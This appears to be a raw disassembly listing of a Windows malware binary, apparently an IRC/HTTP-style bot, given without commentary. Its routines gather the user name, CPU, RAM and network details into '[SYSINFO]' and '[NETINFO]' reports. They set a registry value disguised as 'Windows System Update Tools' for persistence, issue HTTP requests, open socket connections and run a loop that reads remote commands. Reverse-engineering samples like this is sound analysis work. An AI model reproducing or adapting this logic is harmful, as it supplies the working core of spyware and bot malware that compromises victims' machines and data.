pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4412A4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40BEE8
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40BEE8: ; CODE XREF: sub_40BDAD+12Cj
push [ebp+arg_4]
call sub_40AFAB
pop ecx
push eax
call dword_4413F8 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_441370 ; gethostbyaddr
cmp eax, ebx
jz short loc_40BF11
push dword ptr [eax]
jmp short loc_40BF16
; ---------------------------------------------------------------------------
loc_40BF11: ; CODE XREF: sub_40BDAD+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40BF16: ; CODE XREF: sub_40BDAD+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4173AC
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 7C814EEAh
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 7C8361EEh
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 7C83632Dh
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 7C8310F2h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_418AA8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40D6CA
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40BBF6
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40D5BA
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40D5BA
pop ecx
pop ecx
push eax
call sub_40BCF7
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_41792A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40BDAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C061 proc near ; CODE XREF: sub_40F6F1+464Bp
; sub_40F6F1+5B45p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417430
add esp, 0Ch
cmp dword_4414A0, 0
jnz short loc_40C0D5
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_441288 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_40C0B6
lea eax, [ebp+var_8C]
push offset dword_42D554
push eax
call sub_4173AC
pop ecx
pop ecx
loc_40C0B6: ; CODE XREF: sub_40C061+40j
test [ebp+var_C], 1
jz short loc_40C0CE
push offset dword_42D54C
loc_40C0C1: ; CODE XREF: sub_40C061+72j
lea eax, [ebp+var_8]
push eax
call sub_4173AC
pop ecx
pop ecx
jmp short loc_40C0F4
; ---------------------------------------------------------------------------
loc_40C0CE: ; CODE XREF: sub_40C061+59j
push offset off_42D548
jmp short loc_40C0C1
; ---------------------------------------------------------------------------
loc_40C0D5: ; CODE XREF: sub_40C061+28j
mov esi, offset off_42D544
lea eax, [ebp+var_8]
push esi
push eax
call sub_4173AC
lea eax, [ebp+var_8C]
push esi
push eax
call sub_4173AC
add esp, 10h
loc_40C0F4: ; CODE XREF: sub_40C061+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_41792A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40C061 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40C127 proc near ; CODE XREF: sub_40F326+14Bp
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+var_4]
push edi
push eax
push [ebp+arg_0]
call sub_4203E2
sub_40C127 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz loc_40C1CF
push esi
call sub_417BEE
mov edi, eax
pop ecx
test edi, edi
jz short loc_40C1CF
push edi
push esi
push dword ptr [ebp-4]
push dword ptr [ebp+8]
call sub_4203DC
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_40C1AA
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-8]
push eax
push offset dword_42D564
push edi
call sub_4203D6
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_40C1C8
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
shr ecx, 10h
cmp cx, 0A28h
jnz short loc_40C1C8
movzx eax, word ptr [eax+0Ch]
cmp eax, 884h
jz short loc_40C1C3
cmp eax, 9C9h
jz short loc_40C1BF
cmp eax, 0A7Dh
jz short loc_40C1BB
cmp eax, 0B4Ch
jz short loc_40C1B7
loc_40C1AA: ; CODE XREF: ___:0040C161j
xor esi, esi
loc_40C1AC: ; CODE XREF: ___:0040C1C6j
push edi
call sub_417C62
pop ecx
mov eax, esi
jmp short loc_40C1D1
; ---------------------------------------------------------------------------
loc_40C1B7: ; CODE XREF: ___:0040C1A8j
push 2
jmp short loc_40C1C5
; ---------------------------------------------------------------------------
loc_40C1BB: ; CODE XREF: ___:0040C1A1j
push 4
jmp short loc_40C1C5
; ---------------------------------------------------------------------------
loc_40C1BF: ; CODE XREF: ___:0040C19Aj
push 3
jmp short loc_40C1C5
; ---------------------------------------------------------------------------
loc_40C1C3: ; CODE XREF: ___:0040C193j
push 1
loc_40C1C5: ; CODE XREF: ___:0040C1B9j
; ___:0040C1BDj ...
pop esi
jmp short loc_40C1AC
; ---------------------------------------------------------------------------
loc_40C1C8: ; CODE XREF: ___:0040C178j
; ___:0040C188j
push edi
call sub_417C62
pop ecx
loc_40C1CF: ; CODE XREF: ___:0040C13Fj
; ___:0040C150j
xor eax, eax
loc_40C1D1: ; CODE XREF: ___:0040C1B5j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C1D5 proc near ; DATA XREF: sub_40F6F1+4BFFo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42D688
call sub_417430
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_417430
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_417430
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_417430
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_417430
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4412C0 ; InternetCrackUrlA
test eax, eax
jz loc_40C36F
cmp [ebp+var_34], ebx
jbe short loc_40C2AC
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_4182F0
add esp, 0Ch
loc_40C2AC: ; CODE XREF: sub_40C1D5+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40C2CA
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_4182F0
add esp, 0Ch
loc_40C2CA: ; CODE XREF: sub_40C1D5+DEj
cmp [ebp+var_20], ebx
jbe short loc_40C2E4
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_4182F0
add esp, 0Ch
loc_40C2E4: ; CODE XREF: sub_40C1D5+F8j
cmp [ebp+var_18], ebx
jbe short loc_40C2FE
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_4182F0
add esp, 0Ch
loc_40C2FE: ; CODE XREF: sub_40C1D5+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_441368
call dword_44138C ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_40C387
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_441380 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40C38E
push ebx
push ebx
push ebx
push ebx
push eax
call dword_441334 ; HttpSendRequestA
test eax, eax
jz short loc_40C368
push offset dword_42D65C
jmp short loc_40C393
; ---------------------------------------------------------------------------
loc_40C368: ; CODE XREF: sub_40C1D5+18Aj
push offset unk_42D610
jmp short loc_40C393
; ---------------------------------------------------------------------------
loc_40C36F: ; CODE XREF: sub_40C1D5+B7j
lea eax, [ebp+var_55C]
push offset dword_42D5E4
push eax
call sub_4173AC
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40C3A1
; ---------------------------------------------------------------------------
loc_40C387: ; CODE XREF: sub_40C1D5+153j
push offset unk_42D5A8
jmp short loc_40C393
; ---------------------------------------------------------------------------
loc_40C38E: ; CODE XREF: sub_40C1D5+17Bj
push offset unk_42D568
loc_40C393: ; CODE XREF: sub_40C1D5+191j
; sub_40C1D5+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_40C3A1: ; CODE XREF: sub_40C1D5+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40C3CC
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_40DC10
add esp, 14h
loc_40C3CC: ; CODE XREF: sub_40C1D5+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40C4F7
pop ecx
push esi
call dword_4413EC ; InternetCloseHandle
push [ebp+var_4]
call dword_4413EC ; InternetCloseHandle
push [ebp+var_1D8]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
sub_40C1D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3FF proc near ; CODE XREF: sub_40F6F1+4581p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_446090
mov edi, 0B8h
loc_40C413: ; CODE XREF: sub_40C3FF+33j
cmp byte ptr [esi], 0
jz short loc_40C436
push [ebp+arg_0]
push esi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40C436
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_446C10
jl short loc_40C413
jmp short loc_40C478
; ---------------------------------------------------------------------------
loc_40C436: ; CODE XREF: sub_40C3FF+17j
; sub_40C3FF+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_446090[esi]
push ebx
call sub_417430
push 17h
push [ebp+arg_0]
push ebx
call sub_4182F0
push 9Fh
lea eax, dword_4460A8[esi]
push [ebp+arg_4]
push eax
call sub_4182F0
add esp, 24h
inc dword_430B28
pop ebx
loc_40C478: ; CODE XREF: sub_40C3FF+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40C3FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C47F proc near ; CODE XREF: sub_40F6F1+5C77p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42D698
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
xor edi, edi
mov esi, offset dword_446090
loc_40C4A9: ; CODE XREF: sub_40C47F+72j
cmp byte ptr [esi], 0
jz short loc_40C4E4
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42D68C
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41792A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 2Ch
loc_40C4E4: ; CODE XREF: sub_40C47F+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_446C10
jl short loc_40C4A9
pop edi
pop esi
leave
retn
sub_40C47F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C4F7 proc near ; CODE XREF: sub_401000+97p
; sub_4010B2+314p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
nop
call near ptr 7C80A7D4h
mov ebx, offset dword_445788
mov edi, 80h
mov esi, offset dword_441788
loc_40C519: ; CODE XREF: sub_40C4F7+3Dj
cmp byte ptr [ebx], 0
jz short loc_40C530
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_4182F0
add esp, 0Ch
loc_40C530: ; CODE XREF: sub_40C4F7+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40C519
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_41792A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40C4F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C56B proc near ; CODE XREF: sub_407B45+15Bp
; ___:00407E7Cp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_418BEF
lea eax, [ebp+var_80]
push eax
call sub_40C4F7
add esp, 14h
leave
retn
sub_40C56B endp
; =============== S U B R O U T I N E =======================================
sub_40C597 proc near ; CODE XREF: sub_40F6F1+5B76p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_441788
xor ecx, ecx
loc_40C59E: ; CODE XREF: sub_40C597+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_445788
jl short loc_40C59E
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42D6CC
jnz short loc_40C5CE
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_40DC10
add esp, 14h
loc_40C5CE: ; CODE XREF: sub_40C597+1Fj
push esi
call sub_40C4F7
pop ecx
pop esi
retn
sub_40C597 endp
; =============== S U B R O U T I N E =======================================
sub_40C5D7 proc near ; CODE XREF: sub_403E35+2B3p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_441788
loc_40C5DD: ; CODE XREF: sub_40C5D7+27j
cmp byte ptr [esi], 0
jz short loc_40C5F2
push [esp+4+arg_0]
push esi
call sub_40A8E4
pop ecx
test eax, eax
pop ecx
jnz short loc_40C604
loc_40C5F2: ; CODE XREF: sub_40C5D7+9j
add esi, 80h
cmp esi, offset dword_445788
jl short loc_40C5DD
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40C604: ; CODE XREF: sub_40C5D7+19j
push 1
pop eax
pop esi
retn
sub_40C5D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C609 proc near ; DATA XREF: sub_40F6F1+5C23o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40C65C
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42D720
push eax
push [ebp+var_11C]
call sub_40DC10
add esp, 14h
loc_40C65C: ; CODE XREF: sub_40C609+33j
cmp [ebp+var_98], 0
jz short loc_40C67C
lea eax, [ebp+var_98]
push eax
call sub_41791F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40C67C
mov [ebp+var_8], eax
loc_40C67C: ; CODE XREF: sub_40C609+5Aj
; sub_40C609+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_441788
loc_40C685: ; CODE XREF: sub_40C609+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40C6DF
cmp byte ptr [esi], 0
jz short loc_40C6CE
cmp [ebp+var_98], 0
jz short loc_40C6B4
cmp [ebp+var_4], 0
jnz short loc_40C6B4
lea eax, [ebp+var_98]
push eax
push esi
call sub_40A8E4
pop ecx
test eax, eax
pop ecx
jz short loc_40C6CE
loc_40C6B4: ; CODE XREF: sub_40C609+90j
; sub_40C609+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40DC10
add esp, 14h
loc_40C6CE: ; CODE XREF: sub_40C609+87j
; sub_40C609+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_445788
jl short loc_40C685
loc_40C6DF: ; CODE XREF: sub_40C609+82j
lea eax, [ebp+var_31C]
push offset dword_42D6F4
push eax
call sub_4173AC
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40C719
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40DC10
add esp, 14h
loc_40C719: ; CODE XREF: sub_40C609+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40C4F7
push [ebp+var_18]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_40C609 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C738 proc near ; CODE XREF: sub_40ABB7+1Ep
; ___:0040EFB8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42D748
xor esi, esi
mov ebx, offset aWindowsSystemU ; "Windows System Update Tools"
loc_40C74B: ; CODE XREF: sub_40C738+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_44136C ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40C785
push [ebp+arg_0]
call sub_417AF0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4413DC ; RegSetValueExA
jmp short loc_40C78F
; ---------------------------------------------------------------------------
loc_40C785: ; CODE XREF: sub_40C738+2Fj
push ebx
push [ebp+var_4]
call dword_441324 ; RegDeleteValueA
loc_40C78F: ; CODE XREF: sub_40C738+4Bj
push [ebp+var_4]
call dword_441394 ; RegCloseKey
add edi, 8
cmp edi, offset dword_42D760
jl short loc_40C74B
pop edi
pop esi
pop ebx
leave
retn
sub_40C738 endp
; ---------------------------------------------------------------------------
dword_40C7A8 dd 42474FFh, 0FFFF87E8h, 35FF59FFh, 42D740h, 5C84E890h
; DATA XREF: ___:0040F184o
dd 0E8EB7C3Fh
; =============== S U B R O U T I N E =======================================
sub_40C7C0 proc near ; CODE XREF: sub_40C7FB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40C7F5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40C7D9: ; CODE XREF: sub_40C7C0+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_421210[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40C7D9
pop edi
pop ebx
loc_40C7F5: ; CODE XREF: sub_40C7C0+Ej
mov eax, esi
pop esi
not eax
retn
sub_40C7C0 endp
; =============== S U B R O U T I N E =======================================
sub_40C7FB proc near ; CODE XREF: sub_40D091+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_417BEE
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_41823A
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40C84A
loc_40C820: ; CODE XREF: sub_40C7FB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40C84E
inc ebx
push ebx
push esi
call sub_418C3F
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40C84A
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_418132
add esp, 10h
jmp short loc_40C820
; ---------------------------------------------------------------------------
loc_40C84A: ; CODE XREF: sub_40C7FB+23j
; sub_40C7FB+39j
xor eax, eax
jmp short loc_40C869
; ---------------------------------------------------------------------------
loc_40C84E: ; CODE XREF: sub_40C7FB+29j
dec ebx
push ebx
push esi
call sub_40C7C0
push esi
mov ebx, eax
call sub_417C62
push edi
call sub_4180DC
add esp, 10h
mov eax, ebx
loc_40C869: ; CODE XREF: sub_40C7FB+51j
pop edi
pop esi
pop ebx
retn
sub_40C7FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C86D proc near ; CODE XREF: sub_40C8F3+33p
; sub_40CE56+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_441438 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40C8E9
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4413B8 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4413F8 ; inet_addr
cmp eax, esi
jnz short loc_40C8CE
push [ebp+arg_0]
call dword_44143C ; gethostbyname
test eax, eax
jz short loc_40C8E9
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40C8CE: ; CODE XREF: sub_40C86D+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_441360 ; connect
cmp eax, esi
jnz short loc_40C8ED
push edi
call dword_441450 ; closesocket
loc_40C8E9: ; CODE XREF: sub_40C86D+1Bj
; sub_40C86D+58j
mov eax, esi
jmp short loc_40C8EF
; ---------------------------------------------------------------------------
loc_40C8ED: ; CODE XREF: sub_40C86D+73j
mov eax, edi
loc_40C8EF: ; CODE XREF: sub_40C86D+7Ej
pop edi
pop esi
leave
retn
sub_40C86D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C8F3 proc near ; DATA XREF: sub_40F6F1+A88o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_40C86D
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40C986
lea eax, [ebp+var_11B4]
push offset dword_42D7E4
push eax
call sub_4173AC
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C969
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40DC10
add esp, 14h
loc_40C969: ; CODE XREF: sub_40C8F3+59j
lea eax, [ebp+var_11B4]
push eax
call sub_40C4F7
push [ebp+var_10]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40C986: ; CODE XREF: sub_40C8F3+3Fj
push offset byte_43C63C
push ebx
call sub_40BA41
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40C9F1
lea eax, [ebp+var_11B4]
push offset dword_42D7A4
push eax
call sub_4173AC
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_40C9CD
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40DC10
add esp, 14h
loc_40C9CD: ; CODE XREF: sub_40C8F3+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_40C4F7
pop ecx
push ebx
call dword_441450 ; closesocket
push [ebp+var_10]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
loc_40C9F1: ; CODE XREF: sub_40C8F3+A3j
push 64h
nop
call near ptr 7C802442h
xor edi, edi
mov esi, 1000h
loc_40CA00: ; CODE XREF: sub_40C8F3+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_4413D0 ; recv
test eax, eax
jle short loc_40CA5D
lea eax, [ebp+var_11B4]
push offset asc_4285AC ; "\n"
push eax
call sub_417A10
lea eax, [ebp+var_11B4]
push eax
call sub_40B82D
add esp, 0Ch
test eax, eax
jz short loc_40CA5D
push 64h
nop
call near ptr 7C802442h
push 7
call sub_4170A0
test eax, eax
pop ecx
jnz short loc_40CA00
loc_40CA5D: ; CODE XREF: sub_40C8F3+130j
; sub_40C8F3+154j
lea eax, [ebp+var_11B4]
push offset dword_42D760
push eax
call sub_4173AC
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_40CA90
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40DC10
add esp, 14h
loc_40CA90: ; CODE XREF: sub_40C8F3+180j
lea eax, [ebp+var_11B4]
push eax
call sub_40C4F7
pop ecx
push ebx
call dword_441450 ; closesocket
push [ebp+var_10]
call sub_417174
pop ecx
push edi
nop
call near ptr 7C80C058h
sub_40C8F3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
